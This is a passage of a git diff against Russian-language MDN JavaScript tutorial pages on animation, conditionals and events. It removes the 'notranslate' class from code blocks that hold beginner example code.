@@ let rAF; <li> <p>Под предыдущим кодом вставьте функцию <code>draw()</code> которая будет использоваться для хранения нашего кода анимации, который включает параметр <code>timestamp</code> :</p> - <pre class="brush: js notranslate">function draw(timestamp) { + <pre class="brush: js">function draw(timestamp) { }</pre> </li> <li> <p>Внутри <code>draw ()</code> добавьте следующие строки. Они определят время начала, если оно ещё не определено (это произойдёт только на первой итерации цикла), и установят для параметра <code>rotateCount</code> значение для поворота счётчика (текущая временная метка, возьмите начальную временную метку, разделённую на три, чтобы замедлиться):</p> - <pre class="brush: js notranslate"> if (!startTime) { + <pre class="brush: js"> if (!startTime) { startTime = timestamp; } @@ -388,22 +388,22 @@ let rAF; <li> <p>Под предыдущей строкой внутри <code>draw ()</code> добавьте следующий блок - он проверяет, превышает ли значение <code>rotateCount 359</code> (например, <code>360</code>, полный круг). Если это так, он устанавливает значение по модулю <code>360</code> (то есть остаток, оставшийся после деления значения на <code>360</code>), поэтому круговая анимация может продолжаться непрерывно с разумным низким значением. Обратите внимание, что это не является строго необходимым, но легче работать со значениями от 0 до <code>359</code> градусов, чем со значениями типа «<code>128000</code> градусов».</p> - <pre class="brush: js notranslate">if (rotateCount > 359) { + <pre class="brush: js">if (rotateCount > 359) { rotateCount %= 360; }</pre> </li> <li>Затем, под предыдущим блоком, добавьте следующую строку, чтобы вращать spinner: - <pre class="brush: js notranslate">spinner.style.transform = `rotate(${rotateCount}deg)`;</pre> + <pre class="brush: js">spinner.style.transform = `rotate(${rotateCount}deg)`;</pre> </li> <li> <p>В самом низу внутри функции <em>draw ()</em> вставьте следующую строку. Это ключ ко всей операции - вы устанавливаете для переменной, определённой ранее, активный вызов<em> requestAnimation ()</em>, который принимает функцию <em>draw ()</em> в качестве своего параметра. Это запускает анимацию, постоянно выполняя функцию <em>draw ()</em> со скоростью, близкой к 60 FPS.</p> - <pre class="brush: js notranslate">rAF = requestAnimationFrame(draw);</pre> + <pre class="brush: js">rAF = requestAnimationFrame(draw);</pre> </li> <li> <p>Ниже, вызовите функцию <code>draw()</code> для запуска анимации.</p> - <pre class="brush: js notranslate">draw();</pre> + <pre class="brush: js">draw();</pre> </li> </ol> @@ -417,7 +417,7 @@ let rAF; <p>Просто передайте ему значение, возвращаемое вызовом requestAnimationFrame () для отмены, которое вы сохранили в переменной rAF:</p> -<pre class="brush: js notranslate">cancelAnimationFrame(rAF);</pre> +<pre class="brush: js">cancelAnimationFrame(rAF);</pre> <h3 id="Активное_обучение_запуск_и_остановка_нашей_анимации">Активное обучение: запуск и остановка нашей анимации</h3> @@ -444,7 +444,7 @@ let rAF; <p>В этом примере вы должны анимировать как положение персонажа на экране, так и отображаемый спрайт. В анимации спрайта всего 6 кадров. Если бы вы показывали разные кадры спрайта для каждого кадра, отображаемого на экране, с помощью requestAnimationFrame (), Guybrush двигал бы конечностями слишком быстро, и анимация выглядела бы нелепо. Следовательно, в этом примере регулируется скорость, с которой спрайт циклически повторяет свои кадры, используя следующий код:</p> -<pre class="brush: js notranslate">if (posX % 13 === 0) { +<pre class="brush: js">if (posX % 13 === 0) { if (sprite === 5) { sprite = 0; } else { @@ -456,7 +456,7 @@ let rAF; <p>... Фактически, это примерно каждые 6,5 кадров, поскольку мы обновляем posX (положение персонажа на экране) на два кадра:</p> -<pre class="brush: js notranslate">if (posX > width/2) { +<pre class="brush: js">if (posX > width/2) { newStartPos = -( (width/2) + 102 ); posX = Math.ceil(newStartPos / 13) * 13; console.log(posX); @@ -485,7 +485,7 @@ let rAF; <li> <p>Внутри пустого элемента {{htmlelement("script")}} на вашей странице, начните с добавления следующих строк кода, которые определяют некоторые переменные и константы, которые вам понадобятся в дальнейшем:</p> - <pre class="brush: js notranslate">const spinner = document.querySelector('.spinner p'); + <pre class="brush: js">const spinner = document.querySelector('.spinner p'); const spinnerContainer = document.querySelector('.spinner'); let rotateCount = 0; let startTime = null; @@ -508,7 +508,7 @@ const result = document.querySelector('.result');</pre> <li> <p>Ниже добавьте следующую функцию. Она просто берёт два числа и возвращает случайное число между ними. Это понадобится вам позже, чтобы сгенерировать случайный интервал ожидания.</p> - <pre class="brush: js notranslate">function random(min,max) { + <pre class="brush: js">function random(min,max) { var num = Math.floor(Math.random()*(max-min)) + min; return num; }</pre> @@ -516,7 +516,7 @@ const result = document.querySelector('.result');</pre> <li> <p>Затем добавьте функцию draw(), которая анимирует спиннер. Это очень похоже на версию из предыдущего примера простого счётчика:</p> - <pre class="brush: js notranslate">function draw(timestamp) { + <pre class="brush: js">function draw(timestamp) { if(!startTime) { startTime = timestamp; } @@ -534,13 +534,13 @@ const result = document.querySelector('.result');</pre> <li> <p>Теперь пришло время настроить начальное состояние приложения при первой загрузке страницы. Добавьте следующие две строки, которые просто скрывают абзац результатов и контейнер счётчика с помощью <code>display: none</code> ;.</p> - <pre class="brush: js notranslate">result.style.display = 'none'; + <pre class="brush: js">result.style.display = 'none'; spinnerContainer.style.display = 'none';</pre> </li> <li> <p>Затем определите функцию<code> reset ()</code>, которая возвращает приложение в исходное состояние, необходимое для повторного запуска игры после её завершения. Добавьте в конец кода следующее:</p> - <pre class="brush: js notranslate">function reset() { + <pre class="brush: js">function reset() { btn.style.display = 'block'; result.textContent = ''; result.style.display = 'none'; @@ -549,7 +549,7 @@ spinnerContainer.style.display = 'none';</pre> <li> <p>Хорошо, хватит подготовки! Пришло время сделать игру доступной! Добавьте в свой код следующий блок. Функция <code>start ()</code> вызывает <code>draw ()</code>, чтобы запустить вращение спиннера и отобразить его в пользовательском интерфейсе, скрыть кнопку Start, чтобы вы не могли испортить игру, запустив её несколько раз одновременно, и запускает вызов <code>setTimeout ()</code>, который выполняется функция <code>setEndgame ()</code> по прошествии случайного интервала от 5 до 10 секунд. Следующий блок также добавляет обработчик событий к вашей кнопке для запуска функции <code>start ()</code> при её нажатии.</p> - <pre class="brush: js notranslate">btn.addEventListener('click', start); + <pre class="brush: js">btn.addEventListener('click', start); function start() { draw(); @@ -569,7 +569,7 @@ function start() { <li> <p>Добавьте в свой код следующую функцию:</p> - <pre class="brush: js notranslate">function setEndgame() { + <pre class="brush: js">function setEndgame() { cancelAnimationFrame(rAF); spinnerContainer.style.display = 'none'; result.style.display = 'block'; diff --git a/files/ru/learn/javascript/building_blocks/conditionals/index.html b/files/ru/learn/javascript/building_blocks/conditionals/index.html index 6f0b70c1bf..868702ca03 100644 --- a/files/ru/learn/javascript/building_blocks/conditionals/index.html +++ b/files/ru/learn/javascript/building_blocks/conditionals/index.html @@ -46,7 +46,7 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals <p>Базовый <code>if...else</code> синтаксис выглядит как {{glossary("pseudocode")}}:</p> -<pre class="notranslate">if (condition) { +<pre>if (condition) { code to run if condition is true } else { run some other code instead @@ -66,7 +66,7 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals <p>Стоит заметить, что <code>else</code> и второй блок скобок { } не обязателен — следующий код так же будет работать:</p> -<pre class="notranslate">if (condition) { +<pre>if (condition) { код, который должен выполнить, если условие истина } @@ -76,7 +76,7 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals <p>И, наконец, иногда вы можете встретить код <code>if...else</code> без фигурных скобок в сокращённой форме:</p> -<pre class="notranslate">if (condition) code to run if condition is true +<pre>if (condition) code to run if condition is true else run some other code instead</pre> <p>Это абсолютно рабочий код, но он менее читаем, лучше использовать фигурные скобки, новые строки и отступы.</p> @@ -85,7 +85,7 @@ else run some other code instead</pre> <p>Чтобы лучше понять синтаксис, давайте рассмотрим реальный пример. Представьте, что мать или отец попросили помочь с работой по дому своего ребёнка. Родитель может сказать: "Если ты поможешь мне с покупками, то я дам тебе дополнительные деньги на карманные расходы, которые ты сможешь потратить на игрушку, какую захочешь". В JavaScript, мы можем представить это так: </p> -<pre class="brush: js notranslate">var shoppingDone = false; +<pre class="brush: js">var shoppingDone = false; if (shoppingDone === true) { var childsAllowance = 10; @@ -105,7 +105,7 @@ if (shoppingDone === true) { <p>Существует способ привязать дополнительные варианты/результаты к вашему <code>if...else</code> — использовать<code>else if</code>. Для каждого дополнительного выбора требуется дополнительный блок, который нужно расположить между <code>if() { ... }</code> и <code>else { ... }</code> — проверьте следующий более сложный пример, который может быть частью простого приложения прогноза погоды:</p> -<pre class="brush: html notranslate"><label for="weather">Выберите тип погоды сегодня: </label> +<pre class="brush: html"><label for="weather">Выберите тип погоды сегодня: </label> <select id="weather"> <option value="">--Сделайте выбор--</option> <option value="sunny">Солнечно</option> @@ -116,7 +116,7 @@ if (shoppingDone === true) { <p></p></pre> -<pre class="brush: js notranslate">var select = document.querySelector('select'); +<pre class="brush: js">var select = document.querySelector('select'); var para = document.querySelector('p'); select.addEventListener('change', setWeather); @@ -168,7 +168,7 @@ function setWeather() { <p>Мы хотели бы особо обратить внимание на проверку булевых значений (<code>true</code>/<code>false</code>), и общий шаблон, который вы будете встречать снова и снова. Любое значение, которое не есть <code>false</code>, <code>undefined</code>, <code>null</code>, <code>0</code>, <code>NaN</code>, или пустая строка (<code>''</code>) фактически возвращает <code>true</code> при тестировании как условного оператора. Поэтому вы можете просто использовать имя собственной переменной, чтобы проверить, равна ли она <code>true</code>, или существует (т. е. переменная не равна undefined). Например:</p> -<pre class="brush: js notranslate">var cheese = 'Cheddar'; +<pre class="brush: js">var cheese = 'Cheddar'; if (cheese) { console.log('Ура! Есть сыр для приготовления бутерброда.'); @@ -178,7 +178,7 @@ if (cheese) { <p>И, возвращаясь к нашему предыдущему примеру о ребёнке, выполняющем поручение своего родителя, вы можете это записать так:</p> -<pre class="brush: js notranslate">var shoppingDone = false; +<pre class="brush: js">var shoppingDone = false; if (shoppingDone) { // не нужно явно указывать '=== true' var childsAllowance = 10; @@ -190,7 +190,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true' <p>Вполне нормально использовать один условный оператор <code>if...else</code> внутри другого — вложить их. Например, мы могли бы обновить наше приложение прогноза погоды, чтобы показать ещё один набор вариантов в зависимости от температуры:</p> -<pre class="brush: js notranslate">if (choice === 'sunny') { +<pre class="brush: js">if (choice === 'sunny') { if (temperature < 86) { para.textContent = 'Сейчас ' + temperature + ' градусов по фаренгейту — хорошо и солнечно. Идите на пляж, или в парк, и купите мороженое.'; } else if (temperature >= 86) { @@ -211,7 +211,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true' <p>Чтобы дать вам пример оператора И, предыдущий фрагмент кода можно переписать так:</p> -<pre class="brush: js notranslate">if (choice === 'sunny' && temperature < 86) { +<pre class="brush: js">if (choice === 'sunny' && temperature < 86) { para.textContent = 'Сейчас ' + temperature + ' градусов по фаренгейту — хорошо и солнечно. Идите на пляж, или в парк, и купите мороженое.'; } else if (choice === 'sunny' && temperature >= 86) { para.textContent = 'Сейчас ' + temperature + ' градусов по фаренгейту — Жара! Если вы хотите выйти на улицу, обязательно используйте солнцезащитный крем.'; @@ -221,7 +221,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true' <p>Давайте посмотрим на быстрый пример оператора ИЛИ:</p> -<pre class="brush: js notranslate">if (iceCreamVanOutside || houseStatus === 'в огне') { +<pre class="brush: js">if (iceCreamVanOutside || houseStatus === 'в огне') { //если подъехал фургон с мороженым или дом горит console.log('Вы должны быстро покинуть дом.'); } else { @@ -230,7 +230,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true' <p>Последний тип логического оператора НЕ, выраженный <code>!</code> оператором, можно использовать для отрицания выражения. Давайте объединим его с ИЛИ в приведённом выше примере:</p> -<pre class="brush: js notranslate">if (!(iceCreamVanOutside || houseStatus === 'on fire')) { +<pre class="brush: js">if (!(iceCreamVanOutside || houseStatus === 'on fire')) { console.log('Вероятно, можно в нем оставаться.'); } else { console.log('Вы должны быстро покинуть дом.'); @@ -240,19 +240,19 @@ if (shoppingDone) { // не нужно явно указывать '=== true' <p>Можно сочетать любое количество логических операторов, в любой последовательности и в любой комбинации. В следующем примере код в блоке будет выполняться только в том случае, если оба условия с ИЛИ возвращают true, а следовательно, и оператор И возвращает true:</p> -<pre class="brush: js notranslate">if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === 'Steve')) { +<pre class="brush: js">if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === 'Steve')) { // код выполняется }</pre> <p>Распространённой ошибкой при использовании логического оператора ИЛИ в условном выражении является указание переменной, значение которой нужно проверить со списком возможных значений этой переменной, разделённых операторами <code>||</code> (ИЛИ). Например.</p> -<pre class="example-bad brush: js notranslate">if (x === 5 || 7 || 10 || 20) { +<pre class="example-bad brush: js">if (x === 5 || 7 || 10 || 20) { // выполнить код }</pre> <p>В данном примере условие в <code>if(...)</code> всегда будет оцениваться как true, поскольку 7 (или любое другое ненулевое значение) всегда будет оцениваться как true. Фактически, это условие гласит «если х равен 5, или 7 является true». Но нам требуется совсем не это. Чтобы достичь нужной цели, придётся выполнять полноценную проверку после каждого оператора ИЛИ:</p> -<pre class="brush: js notranslate">if (x === 5 || x === 7 || x === 10 ||x === 20) { +<pre class="brush: js">if (x === 5 || x === 7 || x === 10 ||x === 20) { // выполнить код }</pre> @@ -262,7 +262,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true' <p>В этом случае нам поможет <a href="/en-US/docs/Web/JavaScript/Reference/Statements/switch">оператор <code>switch</code> </a>– он принимает одно единственное выражение или значение, а затем просматривает ряд вариантов, пока не найдут вариант, соответствующий этому значению, после чего выполняет код, назначенный этому варианту. Вот пример использования этого оператора:</p> -<pre class="notranslate">switch (выражение) { +<pre>switch (выражение) { case choice1: выполнить этот код break; @@ -297,7 +297,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true' <p>Давайте рассмотрим реальный пример — перепишем наше приложение прогноза погоды с использованием оператора switch:</p> -<pre class="brush: html notranslate"><label for="weather">Выберите тип погоды сегодня: </label> +<pre class="brush: html"><label for="weather">Выберите тип погоды сегодня: </label> <select id="weather"> <option value="">--Сделайте выбор--</option> <option value="sunny">Солнечно</option> @@ -308,7 +308,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true' <p></p></pre> -<pre class="brush: js notranslate">var select = document.querySelector('select'); +<pre class="brush: js">var select = document.querySelector('select'); var para = document.querySelector('p'); select.addEventListener('change', setWeather); @@ -345,11 +345,11 @@ function setWeather() { <p>Это последний теоретический раздел данной статьи и мы перейдём к практическим упражнениям. <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">Тернарный или условный оператор</a> имеет простой синтаксис: он проверяет условие и возвращает одно значение или выражение, если условие является <code>true</code>, и другое значение/выражение, если условие является <code>false</code>. Часто это очень удобная альтернатива блоку <code>if...else</code>, позволяющая затрачивать меньшие усилия на написание кода, когда имеется всего лишь два варианта, выбираемых на основе условия <code>true</code>/<code>false</code>. Общая схема оператора:</p> -<pre class="notranslate">( условие) ? выполнить этот код : выполнить этот код вместо первого</pre> +<pre>( условие) ? выполнить этот код : выполнить этот код вместо первого</pre> <p>Приведём простой пример:</p> -<pre class="brush: js notranslate">var greeting = ( isBirthday ) ? 'С днём рождения, г-н Кузнецов! Хорошо вам повеселиться!' : 'Доброе утро, г-н Кузнецов.';</pre> +<pre class="brush: js">var greeting = ( isBirthday ) ? 'С днём рождения, г-н Кузнецов! Хорошо вам повеселиться!' : 'Доброе утро, г-н Кузнецов.';</pre> <p>У нас есть переменная <code>isBirthday</code> , если она <code>true</code>, мы отправляем посетителю поздравление с днём рождения; если нет – выдаём стандартное приветствие.</p> @@ -357,7 +357,7 @@ function setWeather() { <p>При использовании тернарного оператора не обязательно ограничиваться лишь значениями переменной, можно выполнять функции или строки кода; все, что угодно. В следующем примере показано простое средство выбора темы, задающее внешний вид веб-сайта с помощью тернарного оператора.</p> -<pre class="brush: html notranslate"><label for="theme">Выберите тему: </label> +<pre class="brush: html"><label for="theme">Выберите тему: </label> <select id="theme"> <option value="white">Белая</option> <option value="black">Чёрная</option> @@ -365,7 +365,7 @@ function setWeather() { <h1>Это мой веб-сайт</h1></pre> -<pre class="brush: js notranslate">var select = document.querySelector('select'); +<pre class="brush: js">var select = document.querySelector('select'); var html = document.querySelector('html'); document.body.style.padding = '10px'; @@ -422,7 +422,7 @@ select.onchange = function() { <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><h2>Live output</h2> +<pre class="brush: html"><h2>Live output</h2> <div class="output" style="height: 500px;overflow: auto;"> <label for="month">Выберите месяц: </label> <select id="month"> @@ -477,7 +477,7 @@ createCalendar(31,'Январь'); <input id="solution" type="button" value="Показать решение"> </div></pre> -<pre class="brush: css notranslate">.output * { +<pre class="brush: css">.output * { box-sizing: border-box; } @@ -516,7 +516,7 @@ body { background: #f5f9fa; }</pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var code = textarea.value; @@ -611,7 +611,7 @@ textarea.onkeyup = function(){ <div class="hidden"> <h6 id="Playable_code_2">Playable code 2</h6> -<pre class="brush: html notranslate"><div class="output" style="height: 300px;"> +<pre class="brush: html"><div class="output" style="height: 300px;"> <label for="theme">Выберите тему: </label> <select id="theme"> <option value="white">Белая</option> @@ -647,7 +647,7 @@ function update(bgColor, textColor) { </div> </pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var code = textarea.value; diff --git a/files/ru/learn/javascript/building_blocks/events/index.html b/files/ru/learn/javascript/building_blocks/events/index.html index 787df877f9..2813a966d0 100644 --- a/files/ru/learn/javascript/building_blocks/events/index.html +++ b/files/ru/learn/javascript/building_blocks/events/index.html @@ -58,15 +58,15 @@ original_slug: Learn/JavaScript/Building_blocks/События <p>Рассмотрим простой пример. Вы уже видели события и обработчики событий во многих примерах в этом курсе, но давайте повторим для закрепления информации. В этом примере у нас есть кнопка {{htmlelement ("button")}}, при нажатии которой цвет фона изменяется случайным образом:</p> -<pre class="brush: html notranslate"><button>Change color</button></pre> +<pre class="brush: html"><button>Change color</button></pre> <div class="hidden"> -<pre class="brush: css notranslate">button { margin: 10px };</pre> +<pre class="brush: css">button { margin: 10px };</pre> </div> <p>JavaScript выглядит так:</p> -<pre class="brush: js notranslate">const btn = document.querySelector('button'); +<pre class="brush: js">const btn = document.querySelector('button'); function random(number) { return Math.floor(Math.random() * (number+1)); @@ -103,7 +103,7 @@ btn.onclick = function() { <p>В этом курсе вы уже сталкивались со свойствами, связываемыми с алгоритмом работы обработчика событий. Вернёмся к приведённому выше примеру:</p> -<pre class="brush: js notranslate">const btn = document.querySelector('button'); +<pre class="brush: js">const btn = document.querySelector('button'); btn.onclick = function() { var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; @@ -114,7 +114,7 @@ btn.onclick = function() { <p>Для получения того же результата, вы также можете присвоить свойству обработчика имя уже описанной функции (как мы видели в статье <a href="/ru/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Создайте свою функцию</a>):</p> -<pre class="brush: js notranslate">const btn = document.querySelector('button'); +<pre class="brush: js">const btn = document.querySelector('button'); function bgChange() { const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; @@ -140,10 +140,10 @@ btn.onclick = bgChange;</pre> <p>Самый ранний из введённых в сеть Web методов регистрации <em>обработчиков событий</em> базируется на <strong>HTML атрибутах </strong>(<strong>встроенные обработчики событий</strong>):</p> -<pre class="brush: html notranslate"><button onclick="bgChange()">Press me</button> +<pre class="brush: html"><button onclick="bgChange()">Press me</button> </pre> -<pre class="brush: js notranslate">function bgChange() { +<pre class="brush: js">function bgChange() { const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundColor = rndCol; }</pre> @@ -154,7 +154,7 @@ btn.onclick = bgChange;</pre> <p>Значение атрибута — это буквально код JavaScript, который вы хотите запустить при возникновении события. В приведённом выше примере вызывается функция, определённая внутри элемента {{htmlelement ("script")}} на той же странице, но вы также можете вставить JavaScript непосредственно внутри атрибута, например:</p> -<pre class="brush: html notranslate"><button onclick="alert('Hello, this is my old-fashioned event handler!');">Press me</button></pre> +<pre class="brush: html"><button onclick="alert('Hello, this is my old-fashioned event handler!');">Press me</button></pre> <p>Для многих свойств обработчика событий существуют эквиваленты в виде атрибутов HTML. Однако, не рекомендуется их использовать — это считается плохой практикой. Использование атрибутов для регистрации обработчика событий кажется простым и быстрым методом, но такое описание обработчиков также скоро становится неудобным и неэффективным.</p> @@ -164,7 +164,7 @@ btn.onclick = bgChange;</pre> <p>Например:</p> -<pre class="brush: js notranslate">const buttons = document.querySelectorAll('button'); +<pre class="brush: js">const buttons = document.querySelectorAll('button'); for (var i = 0; i < buttons.length; i++) { buttons[i].onclick = bgChange; @@ -172,7 +172,7 @@ for (var i = 0; i < buttons.length; i++) { <p class="brush: js">Обратите внимание, что для перебора всех элементов, которые содержит объект <code><a href="/en-US/docs/Web/API/NodeList">NodeList</a></code>, можно воспользоваться встроенным методом <code><a href="/en-US/docs/Web/API/NodeList/forEach">forEach()</a></code>:</p> -<pre class="brush: js notranslate">buttons.forEach(function(button) { +<pre class="brush: js">buttons.forEach(function(button) { button.onclick = bgChange; });</pre> @@ -184,7 +184,7 @@ for (var i = 0; i < buttons.length; i++) { <p>Новый тип механизма событий определён в спецификации <a href="https://www.w3.org/TR/DOM-Level-2-Events/">Document Object Model (DOM) Level 2 Events</a>, которая предоставляет браузеру новую функцию — <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>. Работает она аналогично свойствам обработчика событий, но синтаксис совсем другой. Наш пример со случайным цветом мог бы выглядеть и так:</p> -<pre class="brush: js notranslate">var btn = document.querySelector('button'); +<pre class="brush: js">var btn = document.querySelector('button'); function bgChange() { var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; @@ -199,25 +199,25 @@ btn.addEventListener('click', bgChange);</pre> <p>Внутри функции <code>addEventListener()</code> мы указываем два параметра — имя события, для которого мы хотим зарегистрировать этот обработчик, и код, содержащий функцию обработчика, которую мы хотим запустить в ответ. Обратите внимание, что будет целесообразно поместить весь код внутри функции <code>addEventListener()</code> в анонимную функцию, например:</p> -<pre class="brush: js notranslate">btn.addEventListener('click', function() { +<pre class="brush: js">btn.addEventListener('click', function() { var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundColor = rndCol; });</pre> <p>Этот механизм имеет некоторые преимущества по сравнению с более старыми механизмами, рассмотренными ранее. Например, существует аналогичная функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a></code>, которая удаляет ранее добавленный обработчик. Это приведёт к удалению набора обработчиков в первом блоке кода в этом разделе:</p> -<pre class="brush: js notranslate">btn.removeEventListener('click', bgChange);</pre> +<pre class="brush: js">btn.removeEventListener('click', bgChange);</pre> <p>Это не важно для простых небольших программ, но для более крупных и более сложных программ он может повысить эффективность очистки старых неиспользуемых обработчиков событий. Кроме того, это позволяет вам иметь одну и ту же кнопку, выполняющую различные действия в разных обстоятельствах — все, что вам нужно сделать, это добавить/удалить обработчики событий, если это необходимо.</p> <p>Также вы можете зарегистрировать несколько обработчиков для одного и того же события на элементе. Следующие два обработчика не будут применяться:</p> -<pre class="brush: js notranslate">myElement.onclick = functionA; +<pre class="brush: js">myElement.onclick = functionA; myElement.onclick = functionB;</pre> <p>Поскольку вторая строка будет перезаписывать значение <code>onclick</code>, установленное первой. Однако, если:</p> -<pre class="brush: js notranslate">myElement.addEventListener('click', functionA); +<pre class="brush: js">myElement.addEventListener('click', functionA); myElement.addEventListener('click', functionB);</pre> <p>Обе функции будут выполняться при щелчке элемента.</p> @@ -237,7 +237,7 @@ myElement.addEventListener('click', functionB);</pre> <p>Основные преимущества третьего механизма заключаются в том, что при необходимости можно удалить код обработчика событий, используя <code>removeEventListener()</code>, и так же можно добавить несколько элементов-обработчиков того же типа к элементам. Например, вы можете вызвать <code>addEventListener('click', function() {...})</code> для элемента несколько раз, с разными функциями, указанными во втором аргументе. Это невозможно при использовании свойств обработчика событий, поскольку любые последующие попытки установить свойство будут перезаписывать более ранние, например:</p> -<pre class="brush: js notranslate">element.onclick = function1; +<pre class="brush: js">element.onclick = function1; element.onclick = function2; etc.</pre> @@ -253,7 +253,7 @@ etc.</pre> <p>Иногда внутри функции обработчика событий вы можете увидеть параметр, заданный с таким именем, как <code>event</code>, <code>evt</code> или просто <code>e</code>. Называется он <strong>объектом события</strong> и он автоматически передаётся обработчикам событий для предоставления дополнительных функций и информации. Например, давайте немного перепишем наш пример со случайным цветом:</p> -<pre class="brush: js notranslate">function bgChange(e) { +<pre class="brush: js">function bgChange(e) { var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; e.target.style.backgroundColor = rndCol; console.log(e); @@ -273,7 +273,7 @@ btn.addEventListener('click', bgChange);</pre> <p><code>e.target</code> применяют, когда нужно установить один и тот же обработчик событий на несколько элементов и, когда на них происходит событие, применить определённое действие к ним ко всем. Например, у вас может быть набор из 16 плиток, которые исчезают при нажатии. Полезно всегда иметь возможность просто указать, чтобы объект исчез, как <code>e.target</code>, вместо того, чтобы выбирать его более сложным способом. В следующем примере (см. исходный код на <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/useful-eventtarget.html">useful-eventtarget.html</a>,а как он работает можно посмотреть <a href="https://mdn.github.io/learning-area/javascript/building-blocks/events/useful-eventtarget.html">здесь</a>), мы создаём 16 элементов {{htmlelement ("div")}} с использованием JavaScript. Затем мы выберем все из них, используя {{domxref ("document.querySelectorAll()")}}, и с помощью цикла <code>for</code> выберем каждый из них, добавив обработчик <code>onclick</code> к каждому так, чтобы случайный цвет применялся к каждому клику:</p> -<pre class="brush: js notranslate">var divs = document.querySelectorAll('div'); +<pre class="brush: js">var divs = document.querySelectorAll('div'); for (var i = 0; i < divs.length; i++) { divs[i].onclick = function(e) { @@ -286,7 +286,7 @@ for (var i = 0; i < divs.length; i++) { <div class="hidden"> <h6 id="Hidden_example">Hidden example</h6> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -340,7 +340,7 @@ for (var i = 0; i < divs.length; i++) { <p>Простая форма HTML, в которой требуется ввести ваше имя и фамилию:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="fname">Имя: </label> <input id="fname" type="text"> @@ -356,7 +356,7 @@ for (var i = 0; i < divs.length; i++) { <p></p></pre> <div class="hidden"> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { margin-bottom: 10px; } </pre> @@ -364,7 +364,7 @@ for (var i = 0; i < divs.length; i++) { <p>В JavaScript мы реализуем очень простую проверку внутри обработчика события <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a> (событие "отправить" запускается в форме, когда оно отправлено), который проверяет, пусты ли текстовые поля. Если они пусты, мы вызываем функцию <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a></code> объекта события, которая останавливает отправку формы, а затем выводит сообщение об ошибке в абзаце ниже нашей формы, чтобы сообщить пользователю, что не так:</p> -<pre class="brush: js notranslate">var form = document.querySelector('form'); +<pre class="brush: js">var form = document.querySelector('form'); var fname = document.getElementById('fname'); var lname = document.getElementById('lname'); var submit = document.getElementById('submit'); @@ -392,7 +392,7 @@ form.onsubmit = function(e) { <div class="hidden"> <h6 id="Hidden_video_example">Hidden video example</h6> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -469,7 +469,7 @@ form.onsubmit = function(e) { <p>Это довольно простой пример, который показывает и скрывает {{htmlelement ("div")}} с элементом {{htmlelement ("video")}} внутри него:</p> -<pre class="brush: html notranslate"><button>Display video</button> +<pre class="brush: html"><button>Display video</button> <div class="hidden"> <video> @@ -481,7 +481,7 @@ form.onsubmit = function(e) { <p>При нажатии на кнопку {{htmlelement ("button")}}, изменяется атрибут класса элемента <code><div></code> с <code>hidden</code> на <code>showing</code> (CSS примера содержит эти два класса, которые размещают блок вне экрана и на экране соответственно):</p> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { position: absolute; top: 50%; transform: translate(-50%,-50%); @@ -494,14 +494,14 @@ form.onsubmit = function(e) { left: 50%; }</font></pre> -<pre class="brush: js notranslate">var btn = document.querySelector('button'); +<pre class="brush: js">var btn = document.querySelector('button'); btn.onclick = function() { videoBox.setAttribute('class', 'showing'); }</pre> <p>Затем мы добавляем ещё пару обработчиков событий <code>onclick.</code> Первый к <code><div></code>, а второй к <code><video></code>. Идея заключается в том, чтобы при щелчке по области <code><div></code> вне зоны видео поле снова скрылось, а при клике в области <code><video></code> видео начало воспроизводиться.</p> -<pre class="brush: js notranslate">var videoBox = document.querySelector('div'); +<pre class="brush: js">var videoBox = document.querySelector('div'); var video = document.querySelector('video'); videoBox.onclick = function() { @@ -549,7 +549,7 @@ video.onclick = function() { <p>Поэтому мы можем исправить нашу текущую проблему, изменив вторую функцию-обработчик в предыдущем блоке кода:</p> -<pre class="brush: js notranslate">video.onclick = function(e) { +<pre class="brush: js">video.onclick = function(e) { e.stopPropagation(); video.play(); };</pre> diff --git a/files/ru/learn/javascript/building_blocks/functions/index.html b/files/ru/learn/javascript/building_blocks/functions/index.html index 0db2a14713..9e8fa1c75d 100644 --- a/files/ru/learn/javascript/building_blocks/functions/index.html +++ b/files/ru/learn/javascript/building_blocks/functions/index.html @@ -39,7 +39,7 @@ translation_of: 